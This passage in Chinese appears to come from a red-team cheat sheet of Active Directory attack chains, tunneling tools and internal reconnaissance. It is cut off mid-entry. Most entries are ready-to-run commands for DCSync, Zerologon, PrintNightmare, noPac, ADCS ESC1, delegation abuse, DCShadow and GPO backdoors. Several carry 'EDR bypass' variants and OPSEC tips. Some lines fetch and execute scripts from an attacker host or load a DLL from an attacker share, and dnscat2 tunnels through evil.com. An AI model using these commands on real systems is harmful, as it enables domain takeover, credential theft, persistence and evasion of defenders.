**3. 利用WriteDACL** _[windows]_ _添加DCSync权限_ ``` Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER ``` **4. 执行DCSync** _[windows]_ _执行DCSync获取域管哈希_ ``` mimikatz.exe "lsadump::dcsync /domain:domain.com /user:Administrator" "exit" ``` **5. 查找GenericAll** _[windows]_ _查找GenericAll权限_ ``` Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} ``` **6. 重置密码** _[windows]_ _重置目标用户密码_ ``` Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) ``` **EDR 绕过变体：** **1. 隐蔽操作** _指定域控制器操作_ ``` Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER -DomainController dc.domain.com ``` **分析：** 域内ACL错误配置是常见的权限提升路径，可以通过BloodHound发现。 **OPSEC：** ACL修改会产生日志；优先使用隐蔽的权限；BloodHound可以发现攻击路径 --- ### 跨域信任攻击 `domain-cross-trust` 利用域信任关系进行跨域攻击 子类：**跨域攻击** · tags: `trust` `cross-domain` `active-directory` `forest` **前置条件：** 已获取源域权限；存在域信任关系；目标域信息 **攻击链：** **1. 枚举信任关系** _[windows]_ _枚举域信任关系_ ``` Get-NetDomainTrust ``` **2. 枚举森林信任** _[windows]_ _枚举森林信任关系_ ``` Get-NetForestTrust ``` **3. 跨域用户枚举** _[windows]_ _枚举目标域用户_ ``` Get-NetUser -Domain target.domain.com ``` **4. 跨域组枚举** _[windows]_ _枚举目标域组_ ``` Get-NetGroup -Domain target.domain.com ``` **5. SID History攻击** _[windows]_ _利用SID History跨域提权_ ``` mimikatz.exe "kerberos::golden /domain:source.domain.com /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:HASH /user:Administrator /ptt" "exit" ``` **6. 跨域票据** _[windows]_ _请求目标域票据_ ``` asktgt.exe -domain target.domain.com -user Administrator -hash :HASH ``` **EDR 绕过变体：** **1. 隐蔽跨域** _指定目标域控制器枚举_ ``` Get-NetUser -Domain target.domain.com -DomainController dc.target.domain.com ``` **分析：** 跨域信任攻击可以利用信任关系从低安全域向高安全域移动。 **OPSEC：** 跨域攻击会产生日志；SID History需要特殊权限；森林信任更安全 --- ### Zerologon攻击 `zerologon` CVE-2020-1472 Netlogon提权 子类：**Zerologon** · tags: `zerologon` `cve-2020-1472` `domain` **前置条件：** 可访问域控制器RPC **攻击链：** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python zerologon_tester.py DC_NAME DC_IP 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _利用漏洞_ ``` python zerologon_exploit.py DC_NAME DC_IP 将DC密码置空 ``` **3. 导出哈希** _[linux]_ _导出哈希_ ``` secretsdump.py -just-dc -no-pass DOMAIN/DC_NAME$@DC_IP 导出域内所有哈希 ``` **4. 恢复密码** _[linux]_ _恢复密码_ ``` python zerologon_restore.py DC_NAME DC_IP ORIGINAL_NTLM 恢复域控密码避免破坏 ``` --- ### PrintNightmare攻击 `printnightmare` CVE-2021-34527 打印服务漏洞 子类：**PrintNightmare** · tags: `printnightmare` `cve-2021-34527` `rce` **前置条件：** 可访问打印服务RPC **攻击链：** **1. 检测漏洞** _[linux]_ _检测打印服务_ ``` rpcdump.py @DC_IP | grep MS-RPRN 检查打印服务是否可用 ``` **2. 利用漏洞** _[linux]_ _利用漏洞_ ``` python CVE-2021-34527.py -target DC_IP -payload DLL_PATH 加载恶意DLL获取SYSTEM权限 ``` **3. Impacket利用** _[linux]_ _使用Impacket_ ``` python dementor.py -d domain -u user -p pass \\attacker\share DC_IP 触发加载远程DLL ``` --- ### PetitPotam攻击 `petitpotam` CVE-2021-36942 强制认证攻击 子类：**PetitPotam** · tags: `petitpotam` `cve-2021-36942` `relay` **前置条件：** 可访问EFSRPC接口 **攻击链：** **1. 启动中继** _[linux]_ _启动NTLM中继_ ``` python ntlmrelayx.py -t ldap://DC_IP -smb2support --adcs 设置NTLM中继到ADCS ``` **2. 触发认证** _[linux]_ _触发认证_ ``` python petitpotam.py -d domain -u user -p pass attacker_ip DC_IP 强制DC向攻击者认证 ``` **3. 获取证书** _[linux]_ _获取证书_ ``` 中继成功后获取用户证书 使用证书进行Pass-the-Cert ``` --- ### noPac/SAMAccountName攻击 `samaccountname` CVE-2021-42278/CVE-2021-42287 域提权 子类：**noPac** · tags: `nopac` `cve-2021-42278` `privesc` **前置条件：** 普通域用户权限 **攻击链：** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python noPac.py domain/user:password -dc-ip DC_IP -debug 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _利用漏洞_ ``` python noPac.py domain/user:password -dc-ip DC_IP -dc-host DC_NAME -shell 获取域管权限 ``` **3. 攻击原理** _攻击原理_ ``` 1. 创建机器账户(名称类似DC) 2. 清除SPN 3. 请求TGT 4. 删除机器账户 5. 获取域管TGT ``` --- ### ADCS滥用攻击 `adcs-abuse` Active Directory证书服务滥用 子类：**ADCS** · tags: `adcs` `certificate` `domain` **前置条件：** ADCS服务可访问 **攻击链：** **1. 枚举ADCS** _[linux]_ _枚举ADCS配置_ ``` certipy find -u user@domain -p password -dc-ip DC_IP 枚举证书模板 ``` **2. 请求用户证书** _[linux]_ _请求证书_ ``` certipy req -u user@domain -p password -ca CA_NAME -template User 请求用户证书 ``` **3. Pass-the-Cert** _[linux]_ _使用证书认证_ ``` certipy auth -pfx user.pfx -dc-ip DC_IP 使用证书获取TGT ``` **4. Rubeus请求** _[windows]_ _Rubeus利用_ ``` Rubeus.exe asktgt /user:target /certificate:cert.pfx /ptt 使用Rubeus请求TGT ``` --- ### ADCS ESC1漏洞 `adcs-esc1` 证书模板ESC1滥用 子类：**ADCS** · tags: `adcs` `esc1` `certificate` **前置条件：** 存在ESC1配置的模板 **攻击链：** **1. 识别ESC1** _[linux]_ _识别漏洞模板_ ``` certipy find -u user@domain -p password -vulnerable 查找ESC1漏洞模板 ``` **2. 利用ESC1** _[linux]_ _请求域管证书_ ``` certipy req -u user@domain -p password -ca CA_NAME -template ESC1_TEMPLATE -alt admin@domain 指定SAN为域管 ``` **3. 认证为域管** _[linux]_ _认证为域管_ ``` certipy auth -pfx admin.pfx -dc-ip DC_IP 使用证书认证为域管 ``` --- ### 约束委派攻击 `constrained-delegation` 利用约束委派进行横向移动 子类：**委派攻击** · tags: `delegation` `constrained` `kerberos` **前置条件：** 存在约束委派配置的账户 **攻击链：** **1. 查找约束委派** _[windows]_ _查找约束委派账户_ ``` Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation 或 bloodhound查询 ``` **2. 获取服务票据** _[windows]_ _S4U2Self + S4U2Proxy_ ``` Rubeus.exe s4u /user:SERVICE_ACCOUNT$ /rc4:HASH /msdsspn:CIFS/target.domain.com /impersonateuser:Administrator 获取域管的服务票据 ``` **3. 使用票据** _[windows]_ _注入票据_ ``` Rubeus.exe ptt /ticket:BASE64_TICKET 注入票据并访问服务 ``` --- ### 基于资源的约束委派 `resource-delegation` 利用RBCD进行权限提升 子类：**委派攻击** · tags: `rbcd` `delegation` `kerberos` **前置条件：** 对目标对象有WriteDACL权限 **攻击链：** **1. 创建机器账户** _[windows]_ _创建机器账户_ ``` New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString "password" -AsPlainText -Force) 创建新的机器账户 ``` **2. 配置RBCD** _[windows]_ _配置RBCD_ ``` Set-ADComputer -Identity TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$ 设置委派关系 ``` **3. 利用RBCD** _[windows]_ _利用RBCD_ ``` Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/target.domain.com 获取域管票据 ``` --- ### DCShadow攻击 `dcshadow-attack` 伪造域控制器注入数据 子类：**DCShadow** · tags: `dcshadow` `domain` `injection` **前置条件：** 域管理员权限；可注册新DC **攻击链：** **1. 注册伪造DC** _[windows]_ _注册伪造DC_ ``` mimikatz # lsadump::dcshadow /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519 注册伪造DC并修改对象属性 ``` **2. 推送更改** _[windows]_ _推送更改_ ``` 在另一个终端: mimikatz # lsadump::dcshadow /push 推送更改到真实DC ``` **3. 常见利用** _[windows]_ _常见利用场景_ ``` 修改用户组: /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519 添加SID History: /attribute:sidHistory /value:S-1-5-21-xxx-500 ``` --- ### 组策略滥用 `group-policy-abuse` 滥用组策略进行横向移动 子类：**组策略** · tags: `gpo` `group-policy` `domain` **前置条件：** GPO编辑权限 **攻击链：** **1. 查找可编辑GPO** _[windows]_ _查找可编辑GPO_ ``` Get-GPO -All | Where-Object { $_ | Get-GPPermission -TargetType User -TargetName "Domain Users" -PermissionLevel GpoEdit } 查找Domain Users可编辑的GPO ``` **2. 添加计划任务** _[windows]_ _添加计划任务_ ``` New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c calc.exe" -GPODisplayName "VULN_GPO" 添加立即执行的计划任务 ``` **3. 添加注册表项** _[windows]_ _添加注册表启动项_ ``` Set-GPPrefRegistryValue -Name "VULN_GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\backdoor.exe" ``` --- ### SAM The Admin攻击 `sam-the-admin` CVE-2021-42278/CVE-2021-42287域提权 子类：**SAM The Admin** · tags: `ad` `cve-2021-42278` `privilege` **前置条件：** 域用户权限；域控制器存在漏洞 **攻击链：** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python noPac.py domain.com/user:password -dc-ip DC_IP 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _获取域控权限_ ``` python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -shell 获取SYSTEM Shell ``` **3. 执行命令** _[linux]_ _执行命令_ ``` python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -command "whoami" ``` --- ### NoAuth攻击 `noauth` CVE-2022-33679 Kerberos认证绕过 子类：**NoAuth** · tags: `ad` `cve-2022-33679` `kerberos` **前置条件：** 域用户权限；目标账户有RC4密钥 **攻击链：** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _获取TGT_ ``` python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator 获取目标用户TGT ``` **3. 使用TGT** _[linux]_ _使用获取的TGT_ ``` 设置KRB5CCNAME环境变量 export KRB5CCNAME=administrator.ccache 使用psexec.py等工具 ``` --- ## 隧道代理 ### FRP内网穿透 `tunnel-frp` 使用FRP建立内网穿透隧道 子类：**TCP隧道** · tags: `frp` `tunnel` `proxy` `nat` **前置条件：** 公网服务器；内网机器可访问公网；FRP工具 **攻击链：** **1. 服务端配置** _[linux]_ _FRP服务端配置文件frps.ini_ ``` [common] bind_port = 7000 ``` **2. 客户端配置** _[windows]_ _FRP客户端配置文件frpc.ini_ ``` [common] server_addr = attacker_ip server_port = 7000 [rdp] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 3389 ``` **3. 启动服务端** _[linux]_ _启动FRP服务端_ ``` ./frps -c frps.ini ``` **4. 启动客户端** _[windows]_ _启动FRP客户端_ ``` frpc.exe -c frpc.ini ``` **分析：** FRP可以建立TCP隧道，将内网服务映射到公网。 **OPSEC：** FRP流量可能被检测；考虑使用加密传输；注意隐藏进程 --- ### Chisel内网穿透 `tunnel-chisel` 使用Chisel建立内网穿透隧道 子类：**HTTP隧道** · tags: `chisel` `tunnel` `proxy` `http` **前置条件：** 公网服务器；内网机器可访问公网；Chisel工具 **攻击链：** **1. 服务端** _[linux]_ _启动Chisel服务端_ ``` ./chisel server -p 8000 --reverse ``` **2. 反向SOCKS** _[windows]_ _建立反向SOCKS代理_ ``` chisel.exe client attacker_ip:8000 R:socks ``` **3. 端口转发** _[windows]_ _端口转发_ ``` chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389 ``` **分析：** Chisel可以建立HTTP隧道，穿透防火墙。 **OPSEC：** Chisel使用HTTP协议；可以绑定域名伪装；流量加密 --- ### ReGeorg隧道 `tunnel-regeorg` 通过Web Shell建立隧道 子类：**ReGeorg** · tags: `tunnel` `regeorg` `proxy` **前置条件：** Web Shell上传；支持脚本语言 **攻击链：** **1. 上传隧道脚本** _上传对应语言的隧道脚本_ ``` 上传tunnel.aspx/tunnel.jsp/tunnel.php到目标Web服务器 ``` **2. 建立隧道** _[linux]_ _启动SOCKS代理_ ``` python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.aspx ``` **3. 配置代理** _[linux]_ _通过代理扫描_ ``` proxychains nmap -sT -Pn target ``` --- ### SSH本地转发 `tunnel-ssh-local` SSH本地端口转发 子类：**SSH** · tags: `ssh` `tunnel` `local` **前置条件：** SSH访问权限 **攻击链：** **1. 本地转发** _[linux]_ _将目标80端口映射到本地8080_ ``` ssh -L 8080:target:80 user@jump ``` --- ### SSH远程转发 `tunnel-ssh-remote` SSH远程端口转发 子类：**SSH** · tags: `ssh` `tunnel` `remote` **前置条件：** SSH访问权限 **攻击链：** **1. 远程转发** _[linux]_ _将本地80端口映射到远程8080_ ``` ssh -R 8080:localhost:80 user@jump ``` --- ### SSH动态转发 `tunnel-ssh-dynamic` SSH动态SOCKS代理 子类：**SSH** · tags: `ssh` `tunnel` `socks` **前置条件：** SSH访问权限 **攻击链：** **1. 动态转发** _[linux]_ _创建SOCKS代理_ ``` ssh -D 1080 user@jump ``` **2. 使用代理** _[linux]_ _通过SOCKS代理访问_ ``` proxychains nmap -sT -Pn target ``` --- ### DNS隧道 `tunnel-dns` 通过DNS协议建立隧道 子类：**DNS** · tags: `dns` `tunnel` `covert` **前置条件：** DNS解析权限；可控域名 **攻击链：** **1. 使用dnscat2** _[linux]_ _启动dnscat2服务器_ ``` ruby dnscat2.rb evil.com --dns port=53,domain=evil.com ``` **2. 客户端连接** _[windows]_ _客户端连接到服务器_ ``` dnscat2-v0.07-client-win32.exe --dns domain=evil.com --secret SECRET ``` **3. 建立隧道** _[linux]_ _建立SOCKS隧道_ ``` session -i 1 listen 127.0.0.1:1080 10.0.0.1:1080 ``` --- ### ICMP隧道 `tunnel-icmp` 通过ICMP协议建立隧道 子类：**ICMP** · tags: `icmp` `tunnel` `covert` **前置条件：** ICMP允许通过；管理员权限 **攻击链：** **1. 使用icmptunnel** _[linux]_ _服务端启动_ ``` icmptunnel -s 10.0.0.1 ``` **2. 客户端连接** _[linux]_ _客户端连接_ ``` icmptunnel -c attacker.com ``` --- ### Ligolo隧道 `tunnel-ligolo` Ligolo内网穿透工具 子类：**Ligolo** · tags: `ligolo` `tunnel` `proxy` **前置条件：** 可执行代理程序 **攻击链：** **1. 启动服务端** _[linux]_ _启动Ligolo代理服务_ ``` sudo proxy -selfcert ``` **2. 运行代理** _[windows]_ _目标机器运行代理_ ``` agent.exe -connect attacker:11601 -ignore-cert ``` **3. 创建隧道** _[linux]_ _创建隧道接口_ ``` session start ``` --- ### SOCKS代理 `socks-proxy` 建立SOCKS代理访问内网 子类：**SOCKS** · tags: `socks` `proxy` `tunnel` **前置条件：** 已有内网访问点 **攻击链：** **1. SSH SOCKS代理** _[linux]_ _SSH动态端口转发_ ``` ssh -D 1080 user@jumpserver 或 ssh -D 1080 -N -f user@jumpserver ``` **2. ProxyChains配置** _[linux]_ _配置ProxyChains_ ``` 编辑 /etc/proxychains.conf: [ProxyList] socks5 127.0.0.1 1080 使用: proxychains nmap -sT target ``` **3. Cobalt Strike SOCKS** _[windows]_ _CS SOCKS代理_ ``` beacon> socks 1080 在CS中启动SOCKS代理 ``` **4. Metasploit SOCKS** _[linux]_ _MSF SOCKS代理_ ``` use auxiliary/server/socks_proxy set SRVPORT 1080 set VERSION 4a run ``` --- ### Ngrok内网穿透 `tunnel-ngrok` 使用Ngrok建立内网穿透 子类：**Ngrok** · tags: `ngrok` `tunnel` `penetration` **前置条件：** Ngrok账号；可访问外网 **攻击链：** **1. 安装Ngrok** _安装并配置Ngrok_ ``` 下载: https://ngrok.com/download tar -xvzf ngrok.zip ./ngrok authtoken YOUR_TOKEN ``` **2. HTTP隧道** _创建HTTP隧道_ ``` ./ngrok http 80 将本地80端口映射到公网 ``` **3. TCP隧道** _创建TCP隧道_ ``` ./ngrok tcp 3389 将本地3389端口映射到公网 ``` **4. 自定义域名** _使用自定义域名_ ``` ./ngrok http -hostname=custom.domain.com 80 ``` --- ### EW内网穿透 `tunnel-ew` 使用EW建立内网穿透 子类：**EW** · tags: `ew` `tunnel` `socks` **前置条件：** 已有内网访问点 **攻击链：** **1. 正向代理** _[linux]_ _正向SOCKS代理_ ``` ./ew -s ssocksd -l 1080 在跳板机上启动SOCKS代理 ``` **2. 反向代理** _[linux]_ _反向SOCKS代理_ ``` 攻击机: ./ew -s rcsocks -l 1080 -e 8888 跳板机: ./ew -s rssocks -d attacker_ip -e 8888 ``` **3. 多级级联** _[linux]_ _多级级联_ ``` ./ew -s lcx_tran -l 1080 -f 2nd_hop -g 9999 多级跳板穿透 ``` --- ### Venom内网穿透 `tunnel-venom` 使用Venom建立内网穿透 子类：**Venom** · tags: `venom` `tunnel` `socks` **前置条件：** 已有内网访问点 **攻击链：** **1. 启动服务端** _[linux]_ _启动服务端_ ``` ./venom_server -lport 9999 在攻击机启动服务端 ``` **2. 连接客户端** _连接服务端_ ``` ./venom_client -rhost attacker_ip -rport 9999 在跳板机连接服务端 ``` **3. 建立SOCKS** _建立SOCKS代理_ ``` Venom > socks 1080 建立SOCKS代理 ``` **4. 端口转发** _端口转发_ ``` Venom > lforward 127.0.0.1 3389 13389 将内网3389转发到本地13389 ``` --- ## 信息收集 ### BloodHound域分析 `bloodhound-enumeration` 使用BloodHound分析Active Directory攻击路径 子类：**域分析** · tags: `bloodhound` `active-directory` `enumeration` `neo4j` **前置条件：** 域环境；域用户凭证；BloodHound工具 **攻击链：** **1. SharpHound采集** _[windows]_ _使用SharpHound采集域信息_ ``` SharpHound.exe -c All ``` **2. PowerShell采集** _[windows]_ _通过PowerShell远程加载采集_ ``` IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All ``` **3. bloodhound-python** _[linux]_ _使用Python版本采集_ ``` bloodhound-python -u user -p password -d target.com -ns dc_ip ``` **4. 指定域控制器** _[windows]_ _指定域控制器采集_ ``` SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.target.com ``` **5. 启动Neo4j** _[linux]_ _启动Neo4j数据库_ ``` sudo neo4j console ``` **6. Cypher查询域管** _查询域管理员用户_ ``` MATCH (n:User) WHERE n.admincount=true RETURN n ``` **7. 查询攻击路径** _查询到域管理员的最短路径_ ``` MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p ``` **EDR 绕过变体：** **1. 隐蔽采集** _随机化文件名避免检测_ ``` SharpHound.exe -c All --LdapUsername user --LdapPassword pass --OutputDirectory C:\Users\Public --RandomizeFilenames ``` **分析：** BloodHound可发现域内的攻击路径，如权限提升路径、会话信息、组关系等。 **OPSEC：** BloodHound采集会产生大量LDAP查询；可能触发域控制器告警；建议在非工作时间执行 --- ### SPN扫描 `spn-scan` 扫描域内服务主体名称 子类：**SPN** · tags: `spn` `kerberos` `enumeration` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 查询所有SPN** _[windows]_ _查询域内所有SPN_ ``` setspn -T domain.com -Q */* ``` **2. PowerShell查询** _[windows]_ _PowerShell查询SPN用户_ ``` Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName ``` **3. Impacket查询** _[linux]_ _Impacket查询SPN_ ``` GetUserSPNs.py domain/user:password -dc-ip dc_ip ``` **4. 查询特定服务** _[windows]_ _查询HTTP服务的SPN_ ``` setspn -T domain.com -Q HTTP/* ``` **5. 查找SQL服务** _[windows]_ _查询MSSQL服务的SPN_ ``` setspn -T domain.com -Q MSSQLSvc/* ``` **分析：** SPN扫描可以发现域内运行的服务账户，为Kerberoasting攻击做准备。 **OPSEC：** SPN查询是正常的域操作；不会触发明显告警；可用于后续Kerberoasting攻击 --- ### 内网端口扫描 `port-scan` 内网端口扫描与服务识别 子类：**端口扫描** · tags: `nmap` `port-scan` `enumeration` **前置条件：** 内网访问权限；扫描工具 **攻击链：** **1. 快速扫描** _[linux]_ _快速扫描常用端口_ ``` nmap -sS -T4 -F 192.168.1.0/24 ``` **2. 全端口扫描** _[linux]_ _扫描所有65535端口_ ``` nmap -sS -p- 192.168.1.1 ``` **3. 服务识别** _[linux]_ _服务版本探测和脚本扫描_ ``` nmap -sV -sC 192.168.1.1 ``` **4. 内网存活探测** _[linux]_ _Ping扫描发现存活主机_ ``` nmap -sn 192.168.1.0/24 ``` **5. Masscan快速扫描** _[linux]_ _高速端口扫描_ ``` masscan -p1-65535 192.168.1.0/24 --rate=1000 ``` **6. 操作系统识别** _[linux]_ _识别目标操作系统_ ``` nmap -O 192.168.1.1 ``` **7. UDP扫描** _[linux]_ _扫描常用UDP端口_ ``` nmap -sU --top-ports 20 192.168.1.1 ``` **8. 漏洞扫描** _[linux]_ _使用漏洞扫描脚本_ ``` nmap --script vuln 192.168.1.1 ``` **EDR 绕过变体：** **1. 隐蔽扫描** _低速分片扫描，添加随机数据_ ``` nmap -sS -T2 -f --data-length 50 192.168.1.1 ``` **2. 诱饵扫描** _使用诱饵IP混淆扫描来源_ ``` nmap -sS -D RND:10 192.168.1.1 ``` **分析：** 端口扫描可以发现内网中开放的服务，识别潜在的攻击目标。 **OPSEC：** 高速扫描可能触发IDS告警；建议使用较低速率；分时段进行扫描 --- ### 域信息收集 `domain-recon` Active Directory域环境信息收集 子类：**域信息** · tags: `active-directory` `domain` `enumeration` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 域信息** _[windows]_ _获取域信息_ ``` net config workstation ``` **2. 域控制器** _[windows]_ _列出域控制器_ ``` nltest /dclist:domain.com ``` **3. 域用户** _[windows]_ _列出域用户_ ``` net user /domain ``` **4. 域管理员** _[windows]_ _列出域管理员组_ ``` net group "Domain Admins" /domain ``` **5. 域信任关系** _[windows]_ _列出域信任关系_ ``` nltest /domain_trusts ``` **6. PowerView收集** _[windows]_ _使用PowerView收集域信息_ ``` IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1"); Get-NetDomain ``` **7. 获取域策略** _[windows]_ _获取域密码策略_ ``` Get-DomainPolicy ``` **8. 获取域控制器** _[windows]_ _获取域控制器信息_ ``` Get-NetDomainController ``` **分析：** 域信息收集是内网渗透的基础，可以了解域结构、用户、组等信息。 **OPSEC：** 域信息收集是正常操作；不会触发明显告警；为后续攻击做准备 --- ### 网络信息收集 `network-recon` 内网网络拓扑和配置信息收集 子类：**网络信息** · tags: `network` `enumeration` `topology` **前置条件：** 内网访问权限 **攻击链：** **1. 网络配置** _[windows]_ _查看网络配置_ ``` ipconfig /all ``` **2. 路由表** _[windows]_ _查看路由表_ ``` route print ``` **3. ARP缓存** _[windows]_ _查看ARP缓存_ ``` arp -a ``` **4. 网络连接** _[windows]_ _查看网络连接_ ``` netstat -ano ``` **5. DNS缓存** _[windows]_ _查看DNS缓存_ ``` ipconfig /displaydns ``` **6. Linux网络配置** _[linux]_ _Linux查看网络配置_ ``` ifconfig -a ``` **7. Linux路由表** _[linux]_ _Linux查看路由表_ ``` route -n ``` **8. traceroute** _[windows]_ _追踪路由_ ``` tracert target_ip ``` **分析：** 网络信息收集可以了解内网拓扑、网段划分、网关等信息。 **OPSEC：** 这些是正常的网络管理命令；不会触发告警；为后续横向移动做准备 --- ### 共享枚举 `share-enum` 枚举网络共享资源 子类：**共享** · tags: `smb` `share` `enumeration` **前置条件：** 内网访问权限 **攻击链：** **1. 枚举共享** _[windows]_ _查看本地共享_ ``` net share ``` **2. 查看远程共享** _[windows]_ _查看远程机器共享_ ``` net view \\target_ip ``` **3. SMBMap枚举** _[linux]_ _使用SMBMap枚举共享_ ``` smbmap -H target_ip -u user -p password ``` **4. CrackMapExec枚举** _[linux]_ _使用CME枚举共享_ ``` crackmapexec smb target_ip -u user -p password --shares ``` **5. smbclient枚举** _[linux]_ _使用smbclient枚举_ ``` smbclient -L target_ip -U user%password ``` **6. PowerView枚举** _[windows]_ _查找有趣的共享文件_ ``` Find-InterestingDomainShareFile ``` **分析：** 共享枚举可以发现敏感文件、配置文件、备份文件等有价值的信息。 **OPSEC：** 共享枚举是正常操作；可能发现敏感文件；注意文件访问日志 --- ### 用户枚举 `user-enum` 枚举域内用户信息 子类：**用户** · tags: `user` `enumeration` `active-directory` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 列出域用户** _[windows]_ _列出所有域用户_ ``` net user /domain ``` **2. 用户详细信息** _[windows]_ _查看用户详细信息_ ``` net user username /domain ``` **3. PowerView枚举** _[windows]_ _使用PowerView枚举用户_ ``` Get-NetUser | select samaccountname,description,admincount ``` **4. 查找管理员** _[windows]_ _查找域管理员_ ``` Get-NetUser -AdminCount | select samaccountname ``` **5. 查找活跃用户** _[windows]_ _查找最近登录的用户_ ``` Get-NetUser | Where-Object {$_.lastlogon -gt (Get-Date).AddDays(-30)} ``` **6. Impacket枚举** _[linux]_ _使用Impacket枚举域用户_ ``` GetADUsers.py -all domain/user:password -dc-ip dc_ip ``` **分析：** 用户枚举可以发现高价值目标、活跃用户、服务账户等。 **OPSEC：** 用户枚举是正常操作；为后续攻击选择目标；注意识别蜜罐账户 --- ### 组枚举 `group-enum` 枚举域内组信息 子类：**组** · tags: `group` `enumeration` `active-directory` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 列出域组** _[windows]_ _列出所有域组_ ``` net group /domain ``` **2. 组成员** _[windows]_ _查看域管理员组成员_ ``` net group "Domain Admins" /domain ``` **3. PowerView枚举** _[windows]_ _使用PowerView枚举组_ ``` Get-NetGroup | select samaccountname,admincount ``` **4. 查找高权限组** _[windows]_ _查找高权限组_ ``` Get-NetGroup -AdminCount | select samaccountname ``` **5. 组成员关系** _[windows]_ _获取组成员_ ``` Get-NetGroupMember "Domain Admins" | select membername ``` **6. 递归组成员** _[windows]_ _递归获取组成员（包括嵌套组）_ ``` Get-NetGroupMember "Domain Admins" -Recurse ``` **分析：** 组枚举可以发现高权限组、组成员关系、嵌套组等。 **OPSEC：** 组枚举是正常操作；重点关注高权限组；注意嵌套组关系 --- ### GPO枚举 `gpo-enum` 枚举组策略对象 子类：**GPO** · tags: `gpo` `group-policy` `enumeration` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 列出GPO** _[windows]_ _列出所有GPO_ ``` Get-GPO -All ``` **2. PowerView枚举** _[windows]_ _使用PowerView枚举GPO_ ``` Get-NetGPO | select displayname,whencreated ``` **3. GPO权限** _[windows]_ _查找GPO中的受限组_ ``` Get-NetGPOGroup ``` **4. GPP密码** _[windows]_ _查找GPP中的密码_ ``` Get-NetGPPPassword ``` **5. 查找可利用GPO** _[windows]_ _查找用户受哪些GPO影响_ ``` Find-GPOLocation -UserName user ``` **分析：** GPO枚举可以发现组策略配置、GPP密码、受限组等信息。 **OPSEC：** GPP密码是常见的信息泄露点；GPO可能包含敏感配置；注意GPO修改权限 --- ### ACL枚举 `acl-enum` 枚举访问控制列表 子类：**ACL** · tags: `acl` `access-control` `enumeration` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. PowerView ACL枚举** _[windows]_ _获取用户对象的ACL_ ``` Get-ObjectAcl -SamAccountName user -ResolveGUIDs ``` **2. 查找危险权限** _[windows]_ _查找有趣的ACL权限_ ``` Find-InterestingDomainAcl -ResolveGUIDs ``` **3. 查找WriteDACL** _[windows]_ _查找WriteDACL权限_ ``` Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"} ``` **4. 查找GenericAll** _[windows]_ _查找GenericAll权限_ ``` Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} ``` **5. BloodHound ACL分析** _BloodHound查询ACL关系_ ``` MATCH (n)-[r:AllExtendedRights]->(m) RETURN n,m ``` **分析：** ACL枚举可以发现权限配置错误，如WriteDACL、GenericAll等危险权限。 **OPSEC：** ACL错误配置是常见的提权路径；重点关注高价值目标；BloodHound可可视化ACL关系 --- ### 信任关系枚举 `trust-enum` 枚举域信任关系 子类：**信任关系** · tags: `trust` `enumeration` `active-directory` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 域信任关系** _[windows]_ _列出域信任关系_ ``` nltest /domain_trusts ``` **2. PowerView枚举** _[windows]_ _使用PowerView枚举信任关系_ ``` Get-NetDomainTrust ``` **3. 森林信任** _[windows]_ _枚举森林信任关系_ ``` Get-NetForestTrust ``` **4. 信任详细信息** _[windows]_ _查看信任详细信息_ ``` Get-NetDomainTrust | select SourceDomain,TargetDomain,TrustType,TrustDirection ``` **分析：** 信任关系枚举可以发现跨域/跨森林攻击路径。 **OPSEC：** 信任关系可能提供跨域攻击路径；关注双向信任；注意SID历史问题 --- ### 计算机枚举 `computer-enum` 枚举域内计算机 子类：**计算机** · tags: `computer` `enumeration` `active-directory` **前置条件：** 域环境；任意域用户凭证 **攻击链：** **1. 列出域计算机** _[windows]_ _列出域计算机_ ``` 